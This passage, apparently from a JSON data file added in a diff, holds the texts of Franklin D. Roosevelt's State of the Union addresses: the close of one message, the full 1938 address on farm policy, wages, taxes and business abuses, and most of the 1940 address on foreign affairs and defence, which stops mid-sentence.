Government this\npower is wholesome and proper. But in the hands of political puppets of an\neconomic autocracy such power would provide shackles for the liberties of\nthe people. Give them their way and they will take the course of every\nautocracy of the past--power for themselves, enslavement for the public.Their weapon is the weapon of fear. I have said, \"The only thing we have to\nfear is fear itself.\" That is as true today as it was in 1933. But such\nfear as they instill today is not a natural fear, a normal fear; it is a\nsynthetic, manufactured, poisonous fear that is being spread subtly,\nexpensively and cleverly by the same people who cried in those other days,\n\"Save us, save us, lest we perish.\"I am confident that the Congress of the United States well understands the\nfacts and is ready to wage unceasing warfare against those who seek a\ncontinuation of that spirit of fear. The carrying out of the laws of the\nland as enacted by the Congress requires protection until final\nadjudication by the highest tribunal of the land. The Congress has the\nright and can find the means to protect its own prerogatives.We are justified in our present confidence. Restoration of national income,\nwhich shows continuing gains for the third successive year, supports the\nnormal and logical policies under which agriculture and industry are\nreturning to full activity. Under these policies we approach a balance of\nthe national budget. National income increases; tax receipts, based on that\nincome, increase without the levying of new taxes. That is why I am able to\nsay to this, the Second Session of the 74th Congress, that it is my belief\nbased on existing laws that no new taxes, over and above the present taxes,\nare either advisable or necessary.National income increases; employment increases. Therefore, we can look\nforward to a reduction in the number of those citizens who are in need.\nTherefore, also, we can anticipate a reduction in our appropriations for\nrelief.In the light of our substantial material progress, in the light of the\nincreasing effectiveness of the restoration of popular rule, I recommend to\nthe Congress that we advance; that we do not retreat. I have confidence\nthat you will not fail the people of the Nation whose mandate you have\nalready so faithfully fulfilled.I repeat, with the same faith and the same determination, my words of March\n4, 1933: \"We face the arduous days that lie before us in the warm courage\nof national unity; with a clear consciousness of seeking old and precious\nmoral values; with a clean satisfaction that comes from the stern\nperformance of duty by old and young alike. We aim at the assurance of a\nrounded and permanent national life. We do not distrust the future of\nessential democracy.\"I cannot better end this message on the state of the Union than by\nrepeating the words of a wise philosopher at whose feet I sat many, many\nyears ago.\"What great crises teach all men whom the example and counsel of the brave\ninspire is the lesson: Fear not, view all the tasks of life as sacred, have\nfaith in the triumph of the ideal, give daily all that you have to give, be\nloyal and rejoice whenever you find yourselves part of a great ideal\nenterprise. You, at this moment, have the honor to belong to a generation\nwhose lips are touched by fire. You live in a land that now enjoys the\nblessings of peace. But let nothing human be wholly alien to you. The human\nrace now passes through one of its great crises. New ideas, new issues--a\nnew call for men to carry on the work of righteousness, of charity, of\ncourage, of patience, and of loyalty. . . . However memory bring back this\nmoment to your minds, let it be able to say to you: That was a great\nmoment. It was the beginning of a new era. . . . This world in its crisis\ncalled for volunteers, for men of faith in life, of patience in service, of\ncharity and of insight. I responded to the call however I could. I\nvolunteered to give myself to my Master--the cause of humane and brave\nliving. I studied, I loved, I labored, unsparingly and hopefully, to be\nworthy of my generation.\"", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 3, 1938", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Senate and of the House of\nRepresentatives:In addressing the Congress on the state of the Union present facts and\nfuture hazards demand that I speak clearly and earnestly of the causes\nwhich underlie events of profound concern to all.In spite of the determination of this Nation for peace, it has become clear\nthat acts and policies of nations in other parts of the world have\nfar-reaching effects not only upon their immediate neighbors but also on\nus.I am thankful that I can tell you that our Nation is at peace. It has been\nkept at peace despite provocations which in other days, because of their\nseriousness, could well have engendered war. The people of the United\nStates and the Government of the United States have shown capacity for\nrestraint and a civilized approach to the purposes of peace, while at the\nsame time we maintain the integrity inherent in the sovereignty of\n130,000,000 people, lest we weaken or destroy our influence for peace and\njeopardize the sovereignty itself.It is our traditional policy to live at peace with other nations. More than\nthat, we have been among the leaders in advocating the use of pacific\nmethods of discussion and conciliation in international differences. We\nhave striven for the reduction of military forces.But in a world of high tension and disorder, in a world where stable\ncivilization is actually threatened, it becomes the responsibility of each\nnation which strives for peace at home and peace with and among others to\nbe strong enough to assure the observance of those fundamentals of peaceful\nsolution of conflicts which are the only ultimate basis for orderly\nexistence.Resolute in our determination to respect the rights of others, and to\ncommand respect for the rights of ourselves, we must keep ourselves\nadequately strong in self-defense.There is a trend in the world away from the observance both of the letter\nand the spirit of treaties. We propose to observe, as we have in the past,\nour own treaty obligations to the limit; but we cannot be certain of\nreciprocity on the part of others.Disregard for treaty obligations seems to have followed the surface trend\naway from the democratic representative form of government. It would seem,\ntherefore, that world peace through international agreements is most safe\nin the hands of democratic representative governments--or, in other words,\npeace is most greatly jeopardized in and by those nations where democracy\nhas been discarded or has never developed.I have used the words \"surface trend,\" for I still believe that civilized\nman increasingly insists and in the long run will insist on genuine\nparticipation in his own government. Our people believe that over the years\ndemocracies of the world will survive, and that democracy will be restored\nor established in those nations which today know it not. In that faith lies\nthe future peace of mankind.At home, conditions call for my equal candor. Events of recent months are\nnew proof that we cannot conduct a national government after the practice\nof 1787, or 1837 or 1887, for the obvious reason that human needs and human\ndesires are infinitely greater, infinitely more difficult to meet than in\nany previous period in the life of our Republic. Hitherto it has been an\nacknowledged duty of government to meet these desires and needs: nothing\nhas occurred of late to absolve the Congress, the Courts or the President\nfrom that task. It faces us as squarely, as insistently, as in March,\n1933.Much of trouble in our own lifetime has sprung from a long period of\ninaction--from ignoring what fundamentally was happening to us, and from a\ntime-serving unwillingness to face facts as they forced themselves upon\nus.Our national life rests on two nearly equal producing forces, agriculture\nand industry, each employing about one-third of our citizens. The other\nthird transports and distributes the products of the first two, or performs\nspecial services for the whole.The first great force, agriculture--and with it the production of timber,\nminerals and other natural resources--went forward feverishly and\nthoughtlessly until nature rebelled and we saw deserts encroach, floods\ndestroy, trees disappear and soil exhausted.At the same time we have been discovering that vast numbers of our farming\npopulation live in a poverty more abject than that of many of the farmers\nof Europe whom we are wont to call peasants; that the prices of our\nproducts of agriculture are too often dependent on speculation by\nnon-farming groups; and that foreign nations, eager to become\nself-sustaining or ready to put virgin land under the plough are no longer\nbuying our surpluses of cotton and wheat and lard and tobacco and fruit as\nthey had before.Since 1933 we have knowingly faced a choice of three remedies. First, to\ncut our cost of farm production below that of other nations--an obvious\nimpossibility in many crops today unless we revert to human slavery or its\nequivalent.Second, to make the government the guarantor of farm prices and the\nunderwriter of excess farm production without limit--a course which would\nbankrupt the strongest government in the world in a decade.Third, to place the primary responsibility directly on the farmers\nthemselves, under the principle of majority rule, so that they may decide,\nwith full knowledge of the facts of surpluses, scarcities, world markets\nand domestic needs, what the planting of each crop should be in order to\nmaintain a reasonably adequate supply which will assure a minimum adequate\nprice under the normal processes of the law of supply and demand.That means adequacy of supply but not glut. It means adequate reserves\nagainst the day of drought. It is shameless misrepresentation to call this\na policy of scarcity. It is in truth insurance before the fact, instead of\ngovernment subsidy after the fact.Any such plan for the control of excessive surpluses and the speculation\nthey bring has two enemies. There are those well meaning theorists who harp\non the inherent right of every free born American to do with his land what\nhe wants--to cultivate it well--or badly; to conserve his timber by cutting\nonly the annual increment thereof--or to strip it clean, let fire burn the\nslash, and erosion complete the ruin; to raise only one crop--and if that\ncrop fails, to look for food and support from his neighbors or his\ngovernment.That, I assert is not an inherent right of citizenship. For if a man farms\nhis land to the waste of the soil or the trees, he destroys not only his\nown assets but the Nation's assets as well. Or if by his methods he makes\nhimself, year after year, a financial hazard of the community and the\ngovernment, he becomes not only a social problem but an economic menace.\nThe day has gone by when it could be claimed that government has no\ninterest in such ill-considered practices and no right through\nrepresentative methods to stop them.The other group of enemies is perhaps less well-meaning. It includes those\nwho for partisan purposes oppose each and every practical effort to help\nthe situation, and also those who make money from undue fluctuations in\ncrop prices.I gladly note that measures which seek to initiate a government program for\na balanced agriculture are now in conference between the two Houses of the\nCongress. In their final consideration, I hope for a sound consistent\nmeasure which will keep the cost of its administration within the figure of\ncurrent government expenditures in aid of agriculture. The farmers of this\nNation know that a balanced output can be put into effect without excessive\ncost and with the cooperation of the great majority of them.If this balance can be created by an all-weather farm program, our farm\npopulation will soon be assured of relatively constant purchasing power.\nFrom this will flow two other practical results: the consuming public will\nbe protected against excessive food and textile prices, and the industries\nof the Nation and their workers will find a steadier demand for wares sold\nto the agricultural third of our people.To raise the purchasing power of the farmer is, however, not enough. It\nwill not stay raised if we do not also raise the purchasing power of that\nthird of the Nation which receives its income from industrial employment.\nMillions of industrial workers receive pay so low that they have little\nbuying power. Aside from the undoubted fact that they thereby suffer great\nhuman hardship, they are unable to buy adequate food and shelter, to\nmaintain health or to buy their share of manufactured goods.We have not only seen minimum wage and maximum hour provisions prove their\nworth economically and socially under government auspices in 1933, 1934 and\n1935, but the people of this country, by an overwhelming vote, are in favor\nof having the Congress--this Congress--put a floor below which industrial\nwages shall not fall, and a ceiling beyond which the hours of industrial\nlabor shall not rise.Here again let us analyze the opposition. A part of it is sincere in\nbelieving that an effort thus to raise the purchasing power of lowest paid\nindustrial workers is not the business of the Federal Government. Others\ngive \"lip service\" to a general objective, but do not like any specific\nmeasure that is proposed. In both cases it is worth our while to wonder\nwhether some of these opponents are not at heart opposed to any program for\nraising the wages of the underpaid or reducing the hours of the\noverworked.Another group opposes legislation of this type on the ground that cheap\nlabor will help their locality to acquire industries and outside capital,\nor to retain industries which today are surviving only because of existing\nlow wages and long hours. It has been my thought that, especially during\nthese past five years, this Nation has grown away from local or sectional\nselfishness and toward national patriotism and unity. I am disappointed by\nsome recent actions and by some recent utterances which sound like the\nphilosophy of half a century ago.There are many communities in the United States where the average family\nincome is pitifully low. It is in those communities that we find the\npoorest educational facilities and the worst conditions of health. Why? It\nis not because they are satisfied to live as they do. It is because those\ncommunities have the lowest per capita wealth and income; therefore, the\nlowest ability to pay taxes; and, therefore, inadequate functioning of\nlocal government.Such communities exist in the East, in the Middle West, in the Far West,\nand in the South. Those who represent such areas in every part of the\ncountry do their constituents ill service by blocking efforts to raise\ntheir incomes, their property values and, therefore, their whole scale of\nliving. In the long run, the profits from Child labor, low pay and overwork\nenure not to the locality or region where they exist but to the absentee\nowners who have sent their capital into these exploited communities to\ngather larger profits for themselves. Indeed, new enterprises and new\nindustries which bring permanent wealth will come more readily to those\ncommunities which insist on good pay and reasonable hours, for the simple\nreason that there they will find a greater industrial efficiency and\nhappier workers.No reasonable person seeks a complete uniformity in wages in every part of\nthe United States; nor does any reasonable person seek an immediate and\ndrastic change from the lowest pay to the highest pay. We are seeking, of\ncourse, only legislation to end starvation wages and intolerable hours;\nmore desirable wages are and should continue to be the product of\ncollective bargaining.Many of those who represent great cities have shown their understanding of\nthe necessity of helping the agricultural third of the Nation. I hope that\nthose who represent constituencies primarily agricultural will not\nunderestimate the importance of extending like aid to the industrial\nthird.Wage and hour legislation, therefore, is a problem which is definitely\nbefore this Congress for action. It is an essential part of economic\nrecovery. It has the support of an overwhelming majority of our people in\nevery walk of life. They have expressed themselves through the ballot box.Again I revert to the increase of national purchasing power as an\nunderlying necessity of the day. If you increase that purchasing power for\nthe farmers and for the industrial workers, especially for those in both\ngroups who have least of it today, you will increase the purchasing power\nof the final third of our population--those who transport and distribute the\nproducts of farm and factory, and those of the professions who serve all\ngroups. I have tried to make clear to you, and through you to the people of\nthe United States, that this is an urgency which must be met by complete\nand not by partial action.If it is met, if the purchasing power of the Nation as a whole--in other\nwords, the total of the Nation's income--can be still further increased,\nother happy results will flow from such increase.We have raised the Nation's income from thirty-eight billion dollars in the\nyear 1932 to about sixty-eight billion dollars in the year 1937. Our goal,\nour objective is to raise it to ninety or one hundred billion dollars.We have heard much about a balanced budget, and it is interesting to note\nthat many of those who have pleaded for a balanced budget as the sole need\nnow come to me to plead for additional government expenditures at the\nexpense of unbalancing the budget. As the Congress is fully aware, the\nannual deficit, large for several years, has been declining the last fiscal\nyear and this. The proposed budget for 1939, which I shall shortly send to\nthe Congress, will exhibit a further decrease in the deficit, though not a\nbalance between income and outgo.To many who have pleaded with me for an immediate balancing of the budget,\nby a sharp curtailment or even elimination of government functions, I have\nasked the question: \"What present expenditures would you reduce or\neliminate?\" And the invariable answer has been \"that is not my business--I\nknow nothing of the details, but I am sure that it could be done.\" That is\nnot what you or I would call helpful citizenship.On only one point do most of them have a suggestion. They think that relief\nfor the unemployed by the giving of work is wasteful, and when I pin them\ndown I discover that at heart they are actually in favor of substituting a\ndole in place of useful work. To that neither I nor, I am confident, the\nSenators and Representatives in the Congress will ever consent.I am as anxious as any banker or industrialist or business man or investor\nor economist that the budget of the United States Government be brought\ninto balance as quickly as possible. But I lay down certain conditions\nwhich seem reasonable and which I believe all should accept.The first condition is that we continue the policy of not permitting any\nneedy American who can and is willing to work to starve because the Federal\nGovernment does not provide the work.The second is that the Congress and the Executive join hands in eliminating\nor curtailing any Federal activity which can be eliminated or curtailed or\neven postponed without harming necessary government functions or the safety\nof the Nation from a national point of view.The third is to raise the purchasing power of the Nation to the point that\nthe taxes on this purchasing power--or, in other words, on the Nation's\nincome--will be sufficient to meet the necessary expenditures of the\nnational government.I have hitherto stated that, in my judgment, the expenditures of the\nnational government cannot be cut much below seven billion dollars a year\nwithout destroying essential functions or letting people starve. That sum\ncan be raised and will be cheerfully provided by the American people, if we\ncan increase the Nation's income to a point well beyond the present level.This does not mean that as the Nation's income goes up the Federal\nexpenditures should rise in proportion. On the contrary, the Congress and\nthe Executive should use every effort to hold the normal Federal\nexpenditures to approximately the present level, thus making it possible,\nwith an increase in the Nation's income and the resulting increase in tax\nreceipts, not only to balance future budgets but to reduce the debt.In line with this policy fall my former recommendations for the\nreorganization and improvement of the administrative structure of the\ngovernment, both for immediate Executive needs and for the planning of\nfuture national needs. I renew those recommendations.In relation to tax changes, three things should be kept in mind. First, the\ntotal sum to be derived by the Federal Treasury must not be decreased as a\nresult of any changes in schedules. Second, abuses by individuals or\ncorporations designed to escape tax-paying by using various methods of\ndoing business, corporate and otherwise--abuses which we have sought, with\ngreat success, to end--must not be restored. Third, we should rightly change\ncertain provisions where they are proven to work definite hardship,\nespecially on the small business men of the Nation. But, speculative income\nshould not be favored over earned income.It is human nature to argue that this or that tax is responsible for every\nill. It is human nature on the part of those who pay graduated taxes to\nattack all taxes based on the principle of ability to pay. These are the\nsame complainants who for a generation blocked the imposition of a\ngraduated income tax. They are the same complainants who would impose the\ntype of flat sales tax which places the burden of government more on those\nleast able to pay and less on those most able to pay.Our conclusion must be that while proven hardships should be corrected,\nthey should not be corrected in such a way as to restore abuses already\nterminated or to shift a greater burden to the less fortunate.This subject leads naturally into the wider field of the public attitude\ntoward business. The objective of increasing the purchasing power of the\nfarming third, the industrial third and the service third of our population\npresupposes the cooperation of what we call capital and labor.Capital is essential; reasonable earnings on capital are essential; but\nmisuse of the powers of capital or selfish suspension of the employment of\ncapital must be ended, or the capitalistic system will destroy itself\nthrough its own abuses.The overwhelming majority of business men and bankers intend to be good\ncitizens. Only a small minority have displayed poor citizenship by engaging\nin practices which are dishonest or definitely harmful to society. This\nstatement is straightforward and true. No person in any responsible place\nin the Government of the United States today has ever taken any position\ncontrary to it.But, unfortunately for the country, when attention is called to, or attack\nis made on specific misuses of capital, there has been a deliberate purpose\non the part of the condemned minority to distort the criticism into an\nattack on all capital. That is wilful deception but it does not long\ndeceive.If attention is called to, or attack made on, certain wrongful business\npractices, there are those who are eager to call it \"an attack on all\nbusiness.\" That, too, is wilful deception that will not long deceive. Let\nus consider certain facts:There are practices today which most people believe should be ended. They\ninclude tax avoidance through corporate and other methods, which I have\npreviously mentioned; excessive capitalization, investment write-ups and\nsecurity manipulations; price rigging and collusive bidding in defiance of\nthe spirit of the antitrust laws by methods which baffle prosecution under\nthe present statutes. They include high-pressure salesmanship which creates\ncycles of overproduction within given industries and consequent recessions\nin production until such time as the surplus is consumed; the use of patent\nlaws to enable larger corporations to maintain high prices and withhold\nfrom the public the advantages of the progress of science; unfair\ncompetition which drives the smaller producer out of business locally,\nregionally or even on a national scale; intimidation of local or state\ngovernment to prevent the enactment of laws for the protection of labor by\nthreatening to move elsewhere; the shifting of actual production from one\nlocality or region to another in pursuit of the cheapest wage scale.The enumeration of these abuses does not mean that business as a whole is\nguilty of them. Again, it is deception that will not long deceive to tell\nthe country that an attack on these abuses is an attack on business.Another group of problems affecting business, which cannot be termed\nspecific abuses, gives us food for grave thought about the future.\nGenerically such problems arise out of the concentration of economic\ncontrol to the detriment of the body politic--control of other people's\nmoney, other people's labor, other people's lives.In many instances such concentrations cannot be justified on the ground of\noperating efficiency, but have been created for the sake of securities\nprofits, financial control, the suppression of competition and the ambition\nfor power over others. In some lines of industry a very small numerical\ngroup is in such a position of influence that its actions are of necessity\nfollowed by the other units operating in the same field.That such influences operate to control banking and finance is equally\ntrue, in spite of the many efforts, through Federal legislation, to take\nsuch control out of the hands of a small group. We have but to talk with\nhundreds of small bankers throughout the United States to realize that\nirrespective of local conditions, they are compelled in practice to accept\nthe policies laid down by a small number of the larger banks in the Nation.\nThe work undertaken by Andrew Jackson and Woodrow Wilson is not finished\nyet.The ownership of vast properties or the organization of thousands of\nworkers creates a heavy obligation of public service. The power should not\nbe sought or sanctioned unless the responsibility is accepted as well. The\nman who seeks freedom from such responsibility in the name of individual\nliberty is either fooling himself or trying to cheat his fellow men. He\nwants to eat the fruits of orderly society without paying for them.As a Nation we have rejected any radical revolutionary program. For a\npermanent correction of grave weaknesses in our economic system we have\nrelied on new applications of old democratic processes. It is not necessary\nto recount what has been accomplished in preserving the homes and\nlivelihood of millions of workers on farms and in cities, in reconstructing\na sound banking and credit system, in reviving trade and industry, in\nreestablishing security of life and property. All we need today is to look\nupon the fundamental, sound economic conditions to know that this business\nrecession causes more perplexity than fear on the part of most people and\nto contrast our prevailing mental attitude with the terror and despair of\nfive years ago.Furthermore, we have a new moral climate in America. That means that we ask\nbusiness and finance to recognize that fact, to cure such inequalities as\nthey can cure without legislation but to join their government in the\nenactment of legislation where the ending of abuses and the steady\nfunctioning of our economic system calls for government assistance. The\nNation has no obligation to make America safe either for incompetent\nbusiness men or for business men who fail to note the trend of the times\nand continue the use of machinery of economics and practices of finance as\noutworn as the cotton spindle of 1870.Government can be expected to cooperate in every way with the business of\nthe Nation provided the component parts of business abandon practices which\ndo not belong to this day and age, and adopt price and production policies\nappropriate to the times.In regard to the relationship of government to certain processes of\nbusiness, to which I have referred, it seems clear to me that existing laws\nundoubtedly require reconstruction. I expect, therefore, to address the\nCongress in a special message on this subject, and I hope to have the help\nof business in the efforts of government to help business.I have spoken of labor as another essential in the three great groups of\nthe population in raising the Nation's income. Definite strides in\ncollective bargaining have been made and the right of labor to organize has\nbeen nationally accepted. Nevertheless in the evolution of the process\ndifficult situations have arisen in localities and among groups.\nUnfortunate divisions relating to jurisdiction among the workers themselves\nhave retarded production within given industries and have, therefore,\naffected related industries. The construction of homes and other buildings\nhas been hindered in some localities not only by unnecessarily high prices\nfor materials but also by certain hourly wage scales.For economic and social reasons our principal interest for the near future\nlies along two lines: first, the immediate desirability of increasing the\nwages of the lowest paid groups in all industry; and, second, in thinking\nin terms of regularizing the work of the individual worker more greatly\nthrough the year--in other words, in thinking more in terms of the worker's\ntotal pay for a period of a whole year rather than in terms of his\nremuneration by the hour or by the day.In the case of labor as in the case of capital, misrepresentation of the\npolicy of the government of the United States is deception which will not\nlong deceive. In both cases we seek cooperation. In every case power and\nresponsibility must go hand in hand.I have spoken of economic causes which throw the Nation's income out of\nbalance; I have spoken of practices and abuses which demand correction\nthrough the cooperation of capital and labor with the government. But no\ngovernment can help the destinies of people who insist in putting sectional\nand class consciousness ahead of general weal. There must be proof that\nsectional and class interests are prepared more greatly than they are today\nto be national in outlook.A government can punish specific acts of spoliation; but no government can\nconscript cooperation. We have improved some matters by way of remedial\nlegislation. But where in some particulars that legislation has failed we\ncannot be sure whether it fails because some of its details are unwise or\nbecause it is being sabotaged. At any rate, we hold our objectives and our\nprinciples to be sound. We will never go back on them.Government has a final responsibility for the well-being of its\ncitizenship. If private cooperative endeavor fails to provide work for\nwilling hands and relief for the unfortunate, those suffering hardship from\nno fault of their own have a right to call upon the Government for aid; and\na government worthy of its name must make fitting response.It is the opportunity and the duty of all those who have faith in\ndemocratic methods as applied in industry, in agriculture and in business,\nas well as in the field of politics, to do their utmost to cooperate with\ngovernment--without regard to political affiliation, special interests or\neconomic prejudices--in whatever program may be sanctioned by the chosen\nrepresentatives of the people.That presupposes on the part of the representatives of the people, a\nprogram, its enactment and its administration.Not because of the pledges of party programs alone, not because of the\nclear policies of the past five years, but chiefly because of the need of\nnational unity in ending mistakes of the past and meeting the necessities\nof today, we must carry on. I do not propose to let the people down.I am sure the Congress of the United States will not let the people down.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 3, 1940", 
+    "speech": "Mr. Vice President, Mr. Speaker, Members of the Senate and the House of\nRepresentatives:I wish each and every one of you a very happy New Year.As the Congress reassembles, the impact of war abroad makes it natural to\napproach \"the state of the union\" through a discussion of foreign affairs.But it is important that those who hear and read this message should in no\nway confuse that approach with any thought that our Government is\nabandoning, or even overlooking, the great significance of its domestic\npolicies.The social and economic forces which have been mismanaged abroad until they\nhave resulted in revolution, dictatorship and war are the same as those\nwhich we here are struggling to adjust peacefully at home.You are well aware that dictatorships--and the philosophy of force that\njustifies and accompanies dictatorships--have originated in almost every\ncase in the necessity for drastic action to improve internal conditions in\nplaces where democratic action for one reason or another has failed to\nrespond to modern needs and modern demands.It was with far-sighted wisdom that the framers of our Constitution brought\ntogether in one magnificent phrase three great concepts--\"common defense,\"\n\"general welfare\" and \"domestic tranquility.\"More than a century and a half later we, who are here today, still believe\nwith them that our best defense is the promotion of our general welfare and\ndomestic tranquillity.In previous messages to the Congress I have repeatedly warned that, whether\nwe like it or not, the daily lives of American citizens will, of necessity,\nfeel the shock of events on other continents. This is no longer mere\ntheory; because it has been definitely proved to us by the facts of\nyesterday and today.To say that the domestic well-being of one hundred and thirty million\nAmericans is deeply affected by the well-being or the ill-being of the\npopulations of other nations is only to recognize in world affairs the\ntruth that we all accept in home affairs.If in any local unit--a city, county, State or region--low standards of\nliving are permitted to continue, the level of the civilization of the\nentire nation will be pulled downward.The identical principle extends to the rest of the civilized world. But\nthere are those who wishfully insist, in innocence or ignorance or both,\nthat the United States of America as a self-contained unit can live happily\nand prosperously, its future secure, inside a high wall of isolation while,\noutside, the rest of Civilization and the commerce and culture of mankind\nare shattered.I can understand the feelings of those who warn the nation that they will\nnever again consent to the sending of American youth to fight on the soil\nof Europe. But, as I remember, nobody has asked them to consent--for nobody\nexpects such an undertaking.The overwhelming majority of our fellow citizens do not abandon in the\nslightest their hope and their expectation that the United States will not\nbecome involved in military participation in these wars.I can also understand the wishfulness of those who oversimplify the whole\nsituation by repeating that all we have to do is to mind our own business\nand keep the nation out of war. But there is a vast difference between\nkeeping out of war and pretending that this war is none of our business.We do not have to go to war with other nations, but at least we can strive\nwith other nations to encourage the kind of peace that will lighten the\ntroubles of the world, and by so doing help our own nation as well.I ask that all of us everywhere think things through with the single aim of\nhow best to serve the future of our own nation. I do not mean merely its\nfuture relationship with the outside world. I mean its domestic future as\nwell--the work, the security, the prosperity, the happiness, the life of all\nthe boys and girls in the United States, as they are inevitably affected by\nsuch world relationships. For it becomes clearer and clearer that the\nfuture world will be a shabby and dangerous place to live in--yes, even for\nAmericans to live in--if it is ruled by force in the hands of a few.Already the crash of swiftly moving events over the earth has made us all\nthink with a longer view. Fortunately, that thinking cannot be controlled\nby partisanship. The time is long past when any political party or any\nparticular group can curry or capture public favor by labeling itself the\n\"peace party\" or the \"peace bloc.\" That label belongs to the whole United\nStates and to every right thinking man, woman and child within it.For out of all the military and diplomatic turmoil, out of all the\npropaganda, and counter-propaganda of the present conflicts, there are two\nfacts which stand out, and which the whole world acknowledges.The first is that never before has the Government of the United States of\nAmerica done so much as in our recent past to establish and maintain the\npolicy of the Good Neighbor with its sister nations.The second is that in almost every nation in the world today there is a\ntrue public belief that the United States has been, and will continue to\nbe, a potent and active factor in seeking the reestablishment of world\npeace.In these recent years we have had a clean record of peace and good-will. It\nis an open book that cannot be twisted or defamed. It is a record that must\nbe continued and enlarged.So I hope that Americans everywhere will work out for themselves the\nseveral alternatives which lie before world civilization, which necessarily\nincludes our own.We must look ahead and see the possibilities for our children if the rest\nof the world comes to be dominated by concentrated force alone--even though\ntoday we are a very great and a very powerful nation.We must look ahead and see the effect on our own future if all the small\nnations of the world have their independence snatched from them or become\nmere appendages to relatively vast and powerful military systems.We must look ahead and see the kind of lives our children would have to\nlead if a large part of the rest of the world were compelled to worship a\ngod imposed by a military ruler, or were forbidden to worship God at all;\nif the rest of the world were forbidden to read and hear the facts--the\ndaily news of their own and other nations--if they were deprived of the\ntruth that makes men free.We must look ahead and see the effect on our future generations if world\ntrade is controlled by any nation or group of nations which sets up that\ncontrol through military force.It is, of course, true that the record of past centuries includes\ndestruction of many small nations, the enslavement of peoples, and the\nbuilding of empires on the foundation of force. But wholly apart from the\ngreater international morality which we seek today, we recognize the\npractical fact that with modern weapons and modern conditions, modern man\ncan no longer lead a civilized life if we are to go back to the practice of\nwars and conquests of the seventeenth and eighteenth centuries.Summing up this need of looking ahead, and in words of common sense and\ngood American citizenship. I hope that we shall have fewer American\nostriches in our midst. It is not good for the ultimate health of ostriches\nto bury their heads in the sand.Only an ostrich would look upon these wars through the eyes of cynicism or\nridicule.Of course, the peoples of other nations have the right to choose their own\nform of Government. But we in this nation still believe that such choice\nshould be predicated on certain freedoms which we think are essential\neverywhere. We know that we ourselves shall never be wholly safe at home\nunless other governments recognize such freedoms.Twenty-one American Republics, expressing the will of two hundred and fifty\nmillion people to preserve peace and freedom in this Hemisphere, are\ndisplaying a unanimity of ideals and practical relationships which gives\nhope that what is being done here can be done on other continents. We in\nall the Americas are coming to the realization that we can retain our\nrespective nationalities without, at the same time, threatening the\nnational existence of our neighbors.Such truly friendly relationships, for example, permit us to follow our own\ndomestic policies with reference to our agricultural products, while at the\nsame time we have the privilege of trying to work out mutual assistance\narrangements for a world distribution of world agricultural surpluses.And we have been able to apply the same simple principle to many\nmanufactured products--surpluses of which must be sold in the world export\nmarkets if we intend to continue a high level of production and\nemployment.For many years after the World War blind economic selfishness in most\ncountries, including our own, resulted in a destructive mine-field of trade\nrestrictions which blocked the channels of commerce among nations. Indeed,\nthis policy was one of the contributing causes of existing wars. It dammed\nup vast unsalable surpluses, helping to bring about unemployment and\nsuffering in the United States and everywhere else.To point the way to break up that log-jam our Trade Agreements Act was\npassed--based upon a policy of equality of treatment among nations and of\nmutually profitable arrangements of trade.It is not correct to infer that legislative powers have been transferred\nfrom the Congress to the Executive Branch of the Government. Everyone\nrecognizes that general tariff legislation is a Congressional function; but\nwe know that, because of the stupendous task involved in the fashioning and\nthe passing of a general tariff law, it is advisable to provide at times of\nemergency some flexibility to make the general law adjustable to quickly\nchanging conditions.We are in such a time today. Our present trade agreement method provides a\ntemporary flexibility and is, therefore, practical in the best sense. It\nshould be kept alive to serve our trade interests--agricultural and\nindustrial--in many valuable ways during the existing wars.But what is more important, the Trade Agreements Act should be extended as\nan indispensable part of the foundation of any stable and enduring peace.The old conditions of world trade made for no enduring peace; and when the\ntime comes, the United States must use its influence to open up the trade\nchannels of the world, in all nations, in order that no one nation need\nfeel compelled in later days to seek by force of arms what it can well gain\nby peaceful conference. For that purpose, too, we need the Trade Agreements\nAct even more today than when it was passed.I emphasize the leadership which this nation can take when the time comes\nfor a renewal of world peace. Such an influence will be greatly weakened if\nthis Government becomes a dog in the manger of trade selfishness.The first President of the United States warned us against entangling\nforeign alliances. The present President of the United States subscribes to\nand follows that precept.I hope that most of you will agree that trade cooperation with the rest of\nthe world does not violate that precept in any way.Even as through these trade agreements we prepare to cooperate in a world\nthat wants peace, we must likewise be prepared to take care of ourselves if\nthe world cannot attain peace.For several years past we have been compelled to strengthen our own\nnational defense. That has created a very large portion of our Treasury\ndeficits. This year in the light of continuing world uncertainty, I am\nasking the Congress for Army and Navy increases which are based not on\npanic but on common sense. They are not as great as enthusiastic alarmists\nseek. They are not as small as unrealistic persons claiming superior\nprivate information would demand.As will appear in the annual budget tomorrow, the only important increase\nin any part of the budget is the estimate for national defense. Practically\nall other important items show a reduction. But you know, you can't eat\nyour cake and have it too. Therefore, in the hope that we can continue in\nthese days of increasing economic prosperity to reduce the Federal deficit,\nI am asking the Congress to levy sufficient additional taxes to meet the\nemergency spending for national defense.Behind the Army and Navy, of course, lies our ultimate line of defense--\"the\ngeneral welfare\" of our people. We cannot report, despite all the progress\nthat we have made in our domestic problems--despite the fact that production\nis back to 1929 levels--that all our problems are solved. The fact of\nunemployment of millions of men and women remains a symptom of a number of\ndifficulties in our economic system not yet adjusted.While the number of the unemployed has decreased very greatly, while their\nimmediate needs for food and clothing--as far as the Federal Government is\nconcerned--have been largely met, while their morale has been kept alive by\ngiving them useful public work, we have not yet found a way to employ the\nsurplus of our labor which the efficiency of our industrial processes has\ncreated.We refuse the European solution of using the unemployed to build up\nexcessive armaments which eventually result in dictatorships and war. We\nencourage an American way--through an increase of national income which is\nthe only way we can be sure will take up the slack. Much progress has been\nmade; much remains to be done.We recognize that we must find an answer in terms of work and opportunity.The unemployment problem today has become very definitely a problem of\nyouth as well as of age. As each year has gone by hundreds of thousands of\nboys and girls have come of working age. They now form an army of unused\nyouth. They must be an especial concern of democratic Government.We must continue, above all things, to look for a solution of their special\nproblem. For they, looking ahead to life, are entitled to action on our\npart and not merely to admonitions of optimism or lectures on economic\nlaws.Some in our midst have sought to instill a feeling of fear and defeatism in\nthe minds of the American people about this problem.To face the task of finding jobs faster than invention can take them\naway--is not defeatism. To warble easy platitudes that if we would only go\nback to ways that have failed, everything would be all right--is not\ncourage.In 1933 we met a problem of real fear and real defeatism. We faced the\nfacts--with action and not with words alone.The American people will reject the doctrine of fear, confident that in the\n'thirties we have been building soundly a new order of things, different\nfrom the order of the 'twenties. In this dawn of the decade of the\n'forties, with our program of social improvement started, we will continue\nto carry on the processes of recovery, so as to preserve our gains and\nprovide jobs at living wages.There are, of course, many other items of great public interest which could\nbe enumerated in this 